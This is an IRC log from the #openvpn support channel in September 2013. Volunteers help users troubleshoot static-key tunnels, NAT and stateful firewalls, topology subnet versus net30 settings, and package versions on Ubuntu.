14:43 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
14:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
14:50 -!- p3rror [~mezgani@41.248.177.239] has joined #openvpn
15:03 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
15:03 < SupaYoshi> is it possible to make a linux openvpn client, connecto from console automaticly at boot?
15:04 < SupaYoshi> Its supposed to do so, so that my grandma can access movies ive stored at my ubuntu server :3
15:04 < SupaYoshi> and my cousins can watch them too, from her raspberry through the openvpn tunnel
15:04 < SupaYoshi> I got a decent upload so ;3
15:11 -!- SupYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
15:12 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 240 seconds]
15:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:31 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
15:43 -!- adac [~adac@95.171.49.30] has quit [Ping timeout: 264 seconds]
15:46 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:47 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
15:57 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
15:59 -!- SupYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
16:12 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Ping timeout: 261 seconds]
16:14 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
16:45 -!- JSharpe [~JSharpe@46.23.66.28] has joined #openvpn
16:50 -!- p3rror [~mezgani@41.248.177.239] has quit [Quit: Leaving]
16:50 -!- master_o1_master [~master_of@p4FD7BC37.dip0.t-ipconnect.de] has joined #openvpn
16:52 -!- JSharpe [~JSharpe@46.23.66.28] has quit [Quit: Leaving]
16:54 -!- master_of_master [~master_of@p4FF2476C.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
17:08 -!- SupYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
17:09 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 268 seconds]
17:12 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
17:30 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
17:35 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
18:04 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
18:05 -!- Denial [Denial@05417302.skybroadband.com] has quit []
18:06 < SupYoshi> a
18:06 -!- SupYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has quit []
18:11 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:16 < Corey> ht
18:20 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has joined #openvpn
18:42 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 268 seconds]
18:58 -!- Devastatr [~devas@186.214.110.185] has quit [Changing host]
18:58 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
18:59 -!- Devastatr is now known as Devastator
19:17 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:17 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 268 seconds]
19:20 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
19:23 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:27 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has quit [Quit: Verlassend]
19:36 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
19:53 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 260 seconds]
19:55 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
20:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:21 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
20:24 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
20:41 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
20:46 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
21:01 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Read error: No route to host]
21:19 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
21:38 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
21:51 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 260 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:12 -!- JRocha [~JRocha@200.189.189.47] has quit [Ping timeout: 245 seconds]
22:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:44 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
23:00 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
23:04 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
--- Day changed Sun Sep 08 2013
00:30 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Write error: Connection reset by peer]
00:43 < mapps> hmm
00:43 < mapps> hope my vpn works now..trying to create a static key one to test :D
01:11 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:13 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
01:21 < mapito> anyone around?
01:21 < mapito> just wondering why i can connect to my openvpn using my external IP..internet facing but it just stalls at connecting..doesn't get any further
01:21 < mapito> ive forwarded port 1194
01:22 < wallbroken> write some additional information
01:22 < wallbroken> !log
01:22 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
01:23 < mapito> nothing written to logfile.log on the server and it gets stuck at
01:23 < mapito> Sun Sep 08 07:23:33 2013 UDPv4 link remote: [AF_INET]94.193.78.219:1194
01:24 < mapito> on the windows client - when I connect locally using the internal ip 192.168.1.69 it works fine - do I need to forward another port/1
01:24 < wallbroken> no
01:24 < wallbroken> have you cecked that you forwarded the port on the correct protocol?
01:24 < wallbroken> UDP/TCP
01:24 < mapito> thanks - i wonder why it's getting stuck nothing else at all now just sitting there and nothing written to linux server log
01:25 < mapito> i forwarded both UDP and TCP on the router
01:25 < wallbroken> looks like some networking problem
01:25 < wallbroken> run the openvpn server side
01:26 < mapito> yea i dont see why still nothing shall i just leave it seeing if it times out?
01:26 < mapito> what do you mean sorry
01:26 < wallbroken> then
01:26 < wallbroken> make a port scan from the client
01:26 < wallbroken> to know if the server port is really in listening
01:27 < wallbroken> start the openvpn server
01:27 < mapito> it must be though because the openvpn client on windows sghows me messages and starts to connect/
01:27 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
01:27 < mapito> and it also connects when i use the local LAN ip so surely port 1194 must be waiting for connections
01:27 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
01:28 < wallbroken> paste the windows client config
01:28 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
01:30 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
01:33 < mapito> wallbroken,
01:33 < mapito> its very basic just using a static key il pastebin though
01:33 < mapito> still not timed out stuck on the line i said above
01:34 < mapito> http://pastebin.com/hh1kbnpv
01:34 < mapito> thats the windows client config
01:34 < mapito> when i change 94 to the 192. ip it works fine on the local lan
01:34 < mapito> using internet ip it gets to the line i pasted above then hangs and nothing still showing yellow but not timed out
01:35 < wallbroken> where the port is specified
01:35 < wallbroken> ?
01:36 < mapito> it isnt but it uses 1194 y default
01:36 < mapito> 1sec
01:36 < mapito> http://pastebin.com/LhXmgfk0
01:36 < mapito> thats the log from the windows client
01:37 < wallbroken> ok
01:37 < wallbroken> paste also the server config
01:42 <+pekster> mapito: The issue in --secret mode like that is that UDP is stateless, so stateful firewalls tend to drop traffic that isn't "kept alive." Normally in TLS mode the --ping (ie: --keepalive) directive does this, but without it you'd need "port forwarding" on *both* ends if you're behind NAT
01:43 <+pekster> And even without NAT, you'd still need stateful firewalls to be permissive to the traffic as a "stateless UDP VPN" (as OpenVPN's default mode in --static is) will require
01:44 <+pekster> tl;dr: why can't you use TLS and --keepalive?
01:45 < mapito> i wanted to do the certificate way pekster but i was having trouble
01:45 < mapito> could never get it to work right=[
01:45 <+pekster> You've seen the !howto, right?
01:45 <+pekster> You can copy and paste the commnads if you're lazy
01:46 <+pekster> If you want to use --static, you need to understand the mode it operates in
01:46 < mapito> yea i did
01:46 < mapito> but i'm using ubuntu
01:46 <+pekster> So?
01:46 < mapito> so i thought most the howto was about from source
01:46 <+pekster> AFAIK Ubuntu ships Easy-RSA
01:47 <+pekster> If not:
01:47 <+pekster> !easyrsa
01:47 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
01:47 < mapito> yea
01:47 <+pekster> Then follow the !howto
01:47 < mapito> i just couldnt get a connection i followed the ubuntu guide
01:47 <+pekster> Did you have a problem with the steps?
01:47 < mapito> no
01:47 <+pekster> Don't do that
01:47 <+pekster> Folowo the *openvpn* howto
01:47 < mapito> i followed the ubuntu guide had the server running and couldnt connect from win
01:47 <+pekster> Yes, don't do that
01:47 < wallbroken> pekster, a little question about "ifconfig" parameter, the manual saids that with tun i need to use it in that way: ifconfig local-ip remote-ip. but using net30 subnet i can use only 2 ip's for host. If i do i need to set 4 clients, how can i do to use the same remote ip in common?
01:47 <+pekster> Ubuntu has shittyo howtos
01:47 <+pekster> They suck
01:47 < mapito> ok
01:47 < mapito> will do:)
01:47 <+pekster> !!howto
01:47 <+pekster> !howto
01:47 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
01:48 < mapito> thanks
01:49 <+pekster> wallbroken: You can't. If you have "4" unique clients, they need unique IPs if you're pushing to them as they could all connect at the same time
01:49 < wallbroken> in ccd: hostA: ifconfig-push 10.0.0.5 10.0.0.6.  hostB: ifconfig-push 10.0.0.2 10.0.0.6. as you can see, 10.0.0.6 doesn't belong to the second subnet.
01:49 <+pekster> You must also use IPs that are unique to /30 subnets within the supernet the VPN is using. Why don't you use the subnet topology that avoids this isuse/
01:49 <+pekster> Yes, you can't do this
01:50 < Eugene> Because rejecting the advice of experts is /fun/
01:50 <+pekster> Set --show-subnets
01:50 <+pekster> Also, stop using !/30 syntax unless you want to support 6+ year old clinets for Windows
01:50 < mapito> never heard /30 before
01:50 < wallbroken> using "topology subnet" i need to change syntax from ifconfig local remote to ifconfig local subnet
01:50 <+pekster> In otherwords: use the !topology subnet unless you are an expert who knows what they're doing, or wish to use the brain-dead defualt of a /30
01:51 <+pekster> Please type !topology to learn more
01:51 < mapito> !topology
01:51 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
01:51 <+pekster> (then send a well-written complaint to the openvpn-users@sourceforge.net mailinglist asking why this isn't the default ;) )
01:52 < Eugene> !why
01:52 <@vpnHelper> "why" is because screw you, that's why.
01:52 <+pekster> Yes. (pardon the beer. This is a dumb default that I'm happy to say is really stupid today)
01:52 < Eugene> !beer
01:52 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
01:53 < wallbroken> ok. so, si want also to ask you a strange behaviour: supposing that i want to use only 2 hosts. i set ifconfig 10.0.0.3 10.0.0.2. all works fine, internet is redirected, but the only issue is that i can't ping the server using ping 10.0.0.1
01:53 <+pekster> You can use a "normal IP and subnet" if you simply use the `--topology subnet` directive. Please do use it
01:53 < wallbroken> this is normal?
01:53 <+pekster> net30 is "the default" for old and really broken archaic reasons
01:53 <+pekster> Use it at your own peril
01:53 <+pekster> I suggest you do not
01:54 < wallbroken> yes, i use topology subnet. now it's ok. it was simply a curiosity for the reason why all works but i can't ping. that's all.
01:55 <+pekster> If you're using subnet topology, then --ifconfig-push requires a *NETMASK* as your 2nd param
01:55 <+pekster> Not an IP
01:56 < wallbroken> yes, I know, ignore for a moment network topology. and lets hear about the configuration with ifconfig-push loal remote. all works good in the sense of i can navigate to the internet. the only issue is that i can't ping the server or the client
01:57 <+pekster> No, your --topology choice is very relevant to --ifconfig-push
01:57 <+pekster> Please don't ingore this
01:57 < wallbroken> de default behaviour with windows is that i use net30 topology. true?
01:57 -!- mattock is now known as mattock_afk
01:57 <+pekster> If your --topology is subnet as you say, then you have made a grave mistake in using your --ifconfig push with 2 IPs as you have
01:57 < wallbroken> 255.255.255.252
01:58 <+pekster> The default behaviour is *all* OSes is net30
01:58 <+pekster> Please do *NOT* use this unless you *REALLY* need to support a Windows client older than 6 years old (earlierthan 2.1)
01:58 <+pekster> Do you really need to support a Windows client earlier than 6 years ago??!
01:58 < wallbroken> yes i use windows XP
01:58 <+pekster> It's a fucking stupid default
01:59 <+pekster> Are you using  client earlier than 2.1??
01:59 < Eugene> Windows client = openvpn version, not windows version
01:59 < wallbroken> ok, let's check my openvpn version
01:59 <+pekster> (If you are, why on earth have you not upgraded? 2.3.2 is the latest)
01:59 < Eugene> You do whatever you like. I have a gilfriend to attend to
02:00 <+pekster> And I have sleep and/or more beer to attend to. My advice may or may not make more sense the more beer I have. net30  is a horrible choice, and I have a very good clue what I'm talking about
02:00 < wallbroken> OpenVPN 2.3.2 i686-w64-mingw32
02:00 <+pekster> Right. Use subnet and be done with it
02:00 <+pekster> Use IPs and subnets like a "traditional" network
02:01 <+pekster> easy peasy
02:01 < wallbroken> i already done
02:01 <+pekster> Not with the line you posted
02:01 <+pekster> You do something like `--ifconfig-push 10.8.0.4 255.255.255.0`
02:01 <+pekster> IP and netmask
02:01 <+pekster> *not* IP/IP
02:01 <+pekster> Review your basic networking if this is a point of confusion
02:01 <+pekster> !101
02:02 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
02:02 < wallbroken> I was only curious of the reason why when i use ifconfig-push local remote WITHOUT using "topology subnet" and supposing to connect client and server like an end-to-end. i can route to the internet but i can't ping eachother
02:02 <+pekster> Other clients you mean?
02:02 < wallbroken> 1 client 1 server
02:02 < wallbroken> not many clients
02:02 < wallbroken> net30 allows only 2 host
02:03 <+pekster> Ah, right
02:03 < wallbroken> one of them is the server, the other is the client
02:03 <+pekster> Okay, net30 fakes a /30, but the "peering IP" is *NOT* the actual remote client
02:03 < mapito> so net30s what some old networking thing?
02:03 <+pekster> It's just a fake IP used to set up routing
02:03 < mapito> ah
02:03 < wallbroken> ok, and if i want to ping the other side? i can't? :D
02:03 <+pekster> ie: do not use it unless as I said, you are either an expert, or run old-ass shit ;)
02:03 <+pekster> You must push a /32 route to the IP the server holds
02:03 < wallbroken> ok
02:03 <+pekster> Usually $network_prefix.1
02:04 <+pekster> See the expansion of --server for details
02:04 < wallbroken> i really don't care :)
02:04 <+pekster> Or, as I've said already, stop using the net30 topology
02:04 < wallbroken> yes, i stopped many days ago :)
02:04 <+pekster> Cool
02:04 < wallbroken> thanks
02:04 < wallbroken> bye
02:04 <+pekster> np
02:05 -!- mode/#openvpn [-v pekster] by ChanServ
02:05 < pekster> Beer dictates that I remove that :)
02:05 < mapito> ;]
02:06 < pekster> My advice is just as good, but comes with more bias and cursing than usual
02:08 < mapito> probbaly not allowed to swear here
02:08 < mapito> :D
02:10 < pekster> Fuck that. Swear all you want, and I'll kick whoever disaggress with me ;)
02:10 -!- mode/#openvpn [+o pekster] by ChanServ
02:10 -!- mode/#openvpn [-o pekster] by ChanServ
02:11 < pekster> krzee: Just try it. I may go to bed soon, bit I *will* retro-actively kick you ;)
02:12 < pekster> mapito: naw, all things said, there are a lot of bad guides out there. I bet you have an issue with stateful firewalls or NAT state, which using a TLS mode with --keepalive is designed to solve quite nicelyu
02:13 < pekster> The !howto helps you set just that "standard default" setup up
02:14 < pekster> Using --secret basically sets up a stateless, static-keyed crypto tunnel and it's _your_ responsibility to handle things like state translation and key rotation yourself. If you don't understand any of that, you probably want TLS in the first place
02:15 < mapito> yea i was just trying to do this to setup a basic VPN to get somethingf working - as following the ubuntu tutorial..i generated the CA certificate generated the server key / client key dh1204
02:15 < pekster> Ah, using a CA is part of PKI
02:15 < mapito> but i couldnt even connect ..nothing just connection timed out..no errors about the key/cert
02:15 < mapito> whats for lack of a better word the best
02:15 < pekster> If you get a "TLS timeout" error, it's a generic network timeout; be sure to check lots on both sides
02:15 < mapito> or usually most suited
02:15 < pekster> And use --verb 4
02:16 < mapito> i was getting timed out on the windows client..and no errors in the logfile on windowa and nothing in server
02:16 < mapito> but server was running
02:16 < pekster> You will *never* get "nothing" if you are logging a --verb 4
02:16 < mapito> i see
02:16 < pekster> If you are, you've done something wrong
02:16 < mapito> ok
02:16 < mapito> so what should I configure a VPN as
02:16 < pekster> See !verb and !logfile for details
02:16 < mapito> this static key wasnjust a test
02:17 < pekster> And !howto if you haven't already
02:17 < pekster> --static is a bad "first VPN" test. Try the !howto
02:17 < pekster> Consider any use of --static an expert usage
02:17 < mapito> its simplest i read..ythat was why
02:17 < mapito> oh
02:17 < mapito> i thought it was one server : one client (according to what i read) so i hadnt planned to use it properly
02:18 < pekster> Basically, --static "just blasts encrypted packets" without any care of firewalls between your endpoints. Since most IPv4 and NAT setups involve firealls, this is an awful "first try" at your own VPN
02:18 < pekster> !howto
02:18 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
02:18 < mapito> i will read the howto tomorrow;D gotta go to bed soon
02:18  * pekster too
02:19 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
02:20 < mapito> just need faster net once i get it sorted hah
02:20 < mapito> crappy 6mbit
02:23 < pekster> Sad to say, lots of people come here following awful guides from ubuntu, or reddit, or similar
02:23 < pekster> Most are full of crap. Some are mostly okay, and fewer yet are actually useful
02:23 < mapito> i never use reddit
02:23 < pekster> !blog
02:23 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
02:24 < mapito> i find it too hard to follow - maybe its just me
02:24 < mapito> but its just masses of posts
02:24 < mapito> twitter's the same i dont use that
02:24 < pekster> You'll have best luck asking questions on the official howto if you get stuck
02:24 < mapito> yea
02:24 < pekster> Either here (be patient, some people are only here certain days, or in certain timezones (or just all drinking or on vacation) or the mailing list
02:26 < mapito> yea i just idle here and a load of other chans..not here 24/7 have to work sadly;p
02:27 < pekster> I'm here 24/7, power grid and network connectivity permitting. Whether or not this is useful I'll leave up to you
02:27 < pekster> On that note, it's time the remote terminal I'm talking from you disconnectso for a bit; good luck, and try the aforementioned resources to get you started on the right track
02:29 < mapito> cya :)
02:42 -!- levifig [~levifig@spwn.co] has joined #openvpn
03:24 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
03:30 -!- s0meone [~someone@somewhe.re] has quit [Quit: Quit]
03:31 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection]
03:34 -!- s0meone [~someone@somewhe.re] has joined #openvpn
04:05 -!- elichai2 [~elichai2@95.86.101.148] has joined #openvpn
04:05 < elichai2> hi
04:05 < elichai2> where openvpn installed in ubuntu?
04:07 < elichai2> someone?
04:07 < elichai2> i want to upgrade openvpn and i downloaded the tar.gz and now i want to replace it with the old one
04:11 < elichai2> ??
04:11 -!- elichai2 [~elichai2@95.86.101.148] has quit [Changing host]
04:11 -!- elichai2 [~elichai2@unaffiliated/elichai2] has joined #openvpn
04:12 < elichai2> anyone alive here?!?!?!
04:12 < copper> chill
04:12 < copper> it's sunday morning over here
04:12 < copper> Why don't you just use Ubuntu's package manager?
04:13 < copper> I forget what it's called
04:13 < copper> though I assume apt-get works as well
04:13 < elichai2> because when i try "sudo apt-get install openvpn" it's saying that it's already updated
04:13 < copper> so… what's the problem?
04:13 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has quit [Ping timeout: 246 seconds]
04:13 < elichai2> and it's only version 2.2.1
04:14 < copper> that looks correct
04:15 < copper> only Ubuntu 13.10 has OpenVPN 2.3.2
04:15 < copper> which version of Ubuntu do you have?
04:15 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
04:15 < copper> http://packages.ubuntu.com/search?keywords=openvpn
04:15 <@vpnHelper> Title: Ubuntu – Package Search Results -- openvpn (at packages.ubuntu.com)
04:16 < elichai2> copper, 13.04
04:16 < copper> so you have the latest OpenVPN package available
04:17 < elichai2> are you sure?
04:17 < copper> if you want the absolute latest software, you might want to switch to Arch Linux, or something
04:17 < copper> I'm pretty sure: the link shows it
04:17 < elichai2> i downloaded 2.3.1 it won't work?
04:17 < copper> http://packages.ubuntu.com/raring/openvpn
04:17 <@vpnHelper> Title: Ubuntu – Details of package openvpn in raring (at packages.ubuntu.com)
04:18 < copper> Ubuntu Raring Ringtail is what you have, and 2.2.1 is the latest OpenVPN package for it
04:18 < copper> and I don't know how well installing packages from a newer version of Ubuntu into an older version of Ubuntu works
04:19 < elichai2> ok
04:20 < copper> I recommend that you either keep the 2.2.1 package for your current distro and use that, or upgrade to the latest version of Ubuntu (Saucy), or switch to a rolling release Linux distribution such as Arch Linux
04:20 < copper> those are your sain(er) options anyway
04:20 < elichai2> copper, the problem is that it's stopped working so i thought it's because my client isn't updated
04:20 < copper> sane
04:21 < copper> don't assume anything, try to debug it
04:21 < copper> start by telling OpenVPN to be verbose on both your server and your client
04:21 < copper> see what it says, what it complains about
04:21 < elichai2> i'm not server manager
04:21 < copper> then on your client
04:22 < copper> put this in your config file: "verb 5"
04:22 < copper> and run it like this: /usr/bin/openvpn --cd /etc/openvpn --config /etc/openvpn/client.conf
04:22 < elichai2> i've got verb 5
04:22 < copper> i.e. without the --daemon option
04:23 < copper> run that in a terminal and see what it sasys
04:23 < copper> says
04:23 < elichai2> i ment verb 3
04:32 -!- elichai2 [~elichai2@unaffiliated/elichai2] has left #openvpn ["Leaving"]
04:35 < copper> ok then :-/
05:06 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:17 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
05:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
05:32 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
05:46 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has joined #openvpn
05:50 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 268 seconds]
05:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:04 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
06:08 -!- shtrb [~shtrb@unaffiliated/shtrb] has joined #openvpn
06:14 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 245 seconds]
06:15 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:19 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:24 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
06:25 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
06:29 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
06:30 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
06:30 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
06:30 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
06:31 -!- shtrb [~shtrb@unaffiliated/shtrb] has quit [Remote host closed the connection]
06:33 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:34 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:55 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
06:56 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
06:56 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
06:56 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
07:14 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
07:16 -!- crus [~crusader@crus0r.soho.on.net] has quit [Read error: Connection reset by peer]
07:19 -!- crus [~crusader@2001:0:4137:9e76:3ca4:292e:c458:154d] has joined #openvpn
07:25 -!- crus` [~crusader@2001:44b8:319e:2900:fc12:c999:946d:524b] has joined #openvpn
07:25 -!- crus [~crusader@2001:0:4137:9e76:3ca4:292e:c458:154d] has quit [Ping timeout: 245 seconds]
07:27 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
07:28 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
07:54 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
08:01 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:14 -!- HyperGlide [~HyperGlid@222.211.124.117] has quit [Read error: Connection reset by peer]
08:17 -!- HyperGlide [~HyperGlid@222.211.127.233] has joined #openvpn
08:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
08:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:27 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 264 seconds]
08:27 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
08:29 -!- wallbroken [~wallbroke@151.56.231.100] has quit []
08:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:59 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
09:31 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:43 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:45 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Client Quit]
09:46 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
09:47 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:47 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
09:47 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
10:21 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
10:29 -!- slimjimf1im [~slimjimfl@unaffiliated/slimjimflim] has joined #openvpn
10:30 < slimjimf1im> is openvpn still secure or can the nsa and their buddies crack it?
10:33 < Aketzu> it's this secure: http://xkcd.com/538/
10:33 <@vpnHelper> Title: xkcd: Security (at xkcd.com)
10:43 -!- akairobotto [~akairobot@95.146.110.112] has joined #openvpn
10:44 < mapito> slimjimf1im,  i would treat it all as bs until the NSA and their pals come out and say yo we can crack SSL and any encryption or show some proof
10:45 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
10:45 < mapito> but one thing for sure..even if they CAN..using it still makes their lives harder than no encryption!
10:48 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 268 seconds]
10:58 -!- HyperGlide [~HyperGlid@222.211.127.233] has quit [Remote host closed the connection]
11:02 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 245 seconds]
11:02 < slimjimf1im> mapito: does openvpn use aes?  can it?
11:03 < slimjimf1im> i'm pretty sure they can't crack that
11:03 < mapito> who knows what they can crack
11:03 < slimjimf1im> also it seems most of their tactics rely on getting companies to hand over private keys
11:03 < mapito> us folks dont know much eh
11:03 < mapito> yea
11:03 < slimjimf1im> but yea, does openvpn use aes?
11:03 < mapito> man there's some interesting projects over on Kickstarter
11:03 < mapito> hm
11:03 < mapito> not sure
11:04 < mapito> I'm a beginner with openvpn :) not even got mine woring right yet
11:04 < slimjimf1im> :D
11:04 < slimjimf1im> here: http://openvpn.net/index.php/access-server/docs/admin-guides/437-how-to-change-the-cipher-in-openvpn-access-server.html
11:04 <@vpnHelper> Title: How to change the Cipher in OpenVPN Access Server (at openvpn.net)
